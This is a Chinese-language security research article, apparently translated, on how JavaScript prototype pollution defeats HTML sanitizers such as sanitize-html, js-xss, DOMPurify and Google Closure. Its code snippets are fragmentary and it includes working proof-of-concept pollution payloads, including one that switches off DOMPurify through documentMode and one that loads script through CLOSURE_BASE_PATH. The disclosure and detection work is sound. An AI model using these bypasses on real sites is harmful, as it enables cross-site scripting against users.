- const obj = {
- prop1: 111,
- prop2: 222,
- }
我们还可以通过检查其__proto__成员或调用Object.getPrototypeOf来找出什么对象是给定对象的Prototype:
同样,我们可以使用__proto__或Object.setPrototypeOf设置对象的Prototype:
- const user = { userid: 123 };
- if (user.admin) {
- console.log('You are an admin');
- }
乍看起来,似乎不可能使if条件成立,因为用户对象没有名为admin的属性。但是,如果我们污染Object.prototype并定义名为admin的属性,那么console.log将执行!
- Object.prototype.admin = true;
- const user = { userid: 123 };
- if (user.admin) {
- console.log('You are an admin'); // this will execute
- }
- const obj1 = { a: 1, b: 2 };
- const obj2 = { c: 3, d: 4 };
- merge(obj1, obj2) // returns { a: 1, b: 2, c: 3, d: 4}
有时,该操作以递归方式工作,例如:
- const obj1 = {
- a: {
- b: 1,
- c: 2,
- }
- };
- const obj2 = {
- a: {
- d: 3
- }
- };
- recursiveMerge(obj1, obj2); // returns { a: { b: 1, c: 2, d: 3 } }
- HeaderThis is some HTML
它应该转换为以下形式:
- HeaderThis is some HTML
- const ALLOWED_ELEMENTS = ["h1", "i", "b", "div"]
- Object.prototype.length = 10;
- Object.prototype[0] = 'test';
- const ALLOWED_ELEMENTS = {
- "h1": true,
- "i": true,
- "b": true,
- "div" :true
- }
然后,为了检查某些元素是否被允许,库可以检查是否存在ALLOWED_ELEMENTS[element]。这种方法很容易被Prototype污染利用,因为如果我们通过以下方式污染Prototype:
- Object.prototype.SCRIPT = true;
不过你也可以使用备用选项将第二个参数传递给sanitizeHtml。不过你也可以不使用,选用默认选项既可:
- sanitizeHtml.defaults = {
- allowedTags: ['h3', 'h4', 'h5', 'h6', 'blockquote', 'p', 'a', 'ul', 'ol',
- 'nl', 'li', 'b', 'i', 'strong', 'em', 'strike', 'abbr', 'code', 'hr', 'br', 'div',
- 'table', 'thead', 'caption', 'tbody', 'tr', 'th', 'td', 'pre', 'iframe'],
- disallowedTagsMode: 'discard',
- allowedAttributes: {
- a: ['href', 'name', 'target'],
- // We don't currently allow img itself by default, but this
- // would make sense if we did. You could add srcset here,
- // and if you do the URL is checked for safety
- img: ['src']
- },
- // Lots of these won't come up by default because we don't allow them
- selfClosing: ['img', 'br', 'hr', 'area', 'base', 'basefont', 'input', 'link', 'meta'],
- // URL schemes we permit
- allowedSchemes: ['http', 'https', 'ftp', 'mailto'],
- allowedSchemesByTag: {},
- allowedSchemesAppliedToAttributes: ['href', 'src', 'cite'],
- allowProtocolRelative: true,
- enforceHtmlBoundary: false
- };
- // check allowedAttributesMap for the element and attribute and modify the value
- // as necessary if there are specific values defined.
- var passedAllowedAttributesMapCheck = false;
- if (!allowedAttributesMap ||
- (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
- (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1) ||
- (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
- (allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a))) {
- passedAllowedAttributesMapCheck = true;
我们将重点检查allowedAttributesMap,简而言之,将检查是否允许当前标记或所有标记使用该属性(使用通配符“*”时)。非常有趣的是,sanitize-html具有某种针对Prototype污染的保护措施:
- // Avoid false positives with .__proto__, .hasOwnProperty, etc.
- function has(obj, key) {
- return ({}).hasOwnProperty.call(obj, key);
- }
hasOwnProperty检查一个对象是否有属性,但它不遍历Prototype链。这意味着所有对has函数的调用都不会受到Prototype污染的影响。但是,has不是用于通配符的!
- (allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1)
如果我用以下方法污染Prototype,结果如下:
- Object.prototype['*'] = ['onload']
那么onload将是任何标签的有效属性,如下所示:
它还可以选择接受第二个参数,称为options,而且它的处理方式是你在JS代码中可以发现的对Prototype最无污染的模式:
- options.whiteList = options.whiteList || DEFAULT.whiteList;
- options.onTag = options.onTag || DEFAULT.onTag;
- options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr;
- options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag;
- options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr;
- options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue;
- options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml;
可能会污染options.propertyName格式的所有这些属性。显而易见的候选者是whiteList,它遵循以下格式:
- a: ["target", "href", "title"],
- abbr: ["title"],
- address: [],
- area: ["shape", "coords", "href", "alt"],
- article: [],
所以这个想法是定义我自己的白名单,接受带有onerror和src属性的img标签:
DOMPurify还接受带有配置的第二个参数,以下也出现了一种使其容易受到Prototype污染的模式:
- /* Set configuration parameters */
- ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg ? addToSet({}, cfg.ALLOWED_TAGS) : DEFAULT_ALLOWED_TAGS;
- ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg ? addToSet({}, cfg.ALLOWED_ATTR) : DEFAULT_ALLOWED_ATTR;
标记,因此该漏洞利用只需要使用onerror和src污染ALLOWED_ATTR。
- goog.html.sanitizer.AttributeWhitelist = {
- '* ARIA-CHECKED': true,
- '* ARIA-COLCOUNT': true,
- '* ARIA-COLINDEX': true,
- '* ARIA-CONTROLS': true,
- '* ARIA-DESCRIBEDBY': tru
- ...
- }
- ';
- const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
- const sanitized = sanitizer.sanitize(html);
- const node = goog.dom.safeHtmlToNode(sanitized);
- document.body.append(node);" _ue_custom_node_="true">
- if (cfg.ADD_ATTR) {
- if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR) {
- ALLOWED_ATTR = clone(ALLOWED_ATTR);
- }
我们可以从代码段中提取以下可能的标识符(假设标识符为\w+):
- ["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]
现在,我在Object.prototype中定义所有这些属性,例如:
- Object.defineProperty(Object.prototype, 'ALLOWED_ATTR', {
- get() {
- console.log('Possible prototype pollution for ALLOWED_ATTR');
- console.trace();
- return this['$__ALLOWED_ATTR'];
- },
- set(val) {
- this['$_ALLOWED_ATTR'] = val;
- }
- });
- if (cfg.ADD_ATTR)
它会转化为:
- if ($_GET_PROP(cfg, 'ADD_ATTR))
如下所示$_GET_PROP定义为:
- window.$_SHOULD_LOG = true;
- window.$_IGNORED_PROPS = new Set([]);
- function $_GET_PROP(obj, prop) {
- if (window.$_SHOULD_LOG && !window.$_IGNORED_PROPS.has(prop) && obj instanceof Object && typeof obj === 'object' && !(prop in obj)) {
- console.group(`obj[${JSON.stringify(prop)}]`);
- console.trace();
- console.groupEnd();
- }
- return obj[prop];
- }
多亏了这种方法,我才能发现另外两个滥用Prototype污染的案例,该案例中的方法是可以绕过sanitizer。让我们看看运行DOMPurify时记录了什么内容:
里面的内容就是我想要的,让我们看一下访问documentMode的行:
- DOMPurify.isSupported = implementation && typeof implementation.createHTMLDocument !== 'undefined' && document.documentMode !== 9;
这样,DOMPurify会检查当前的浏览器是否足够现代,甚至可以与DOMPurify一起使用。如果isSupported等于false,那么DOMPurify将不执行任何杀毒处理。这意味着我们可以污染Prototype并设置Object.prototype.documentMode=9来实现这一目标。下面的代码片段证明了这一点:
- const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js';
- (async () => {
- Object.prototype.documentMode = 9;
- const js = await (await fetch(DOMPURIFY_URL)).text();
- eval(js);
- console.log(DOMPurify.sanitize(''));
- // Logs: "", i.e. unsanitized HTML
- })();
其次,我注意到一个有趣的外观:
- < script >
- Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//';
- < /script >< script src= >< script >
- goog.require('goog.html.sanitizer.HtmlSanitizer');
- goog.require('goog.dom');
- < /script >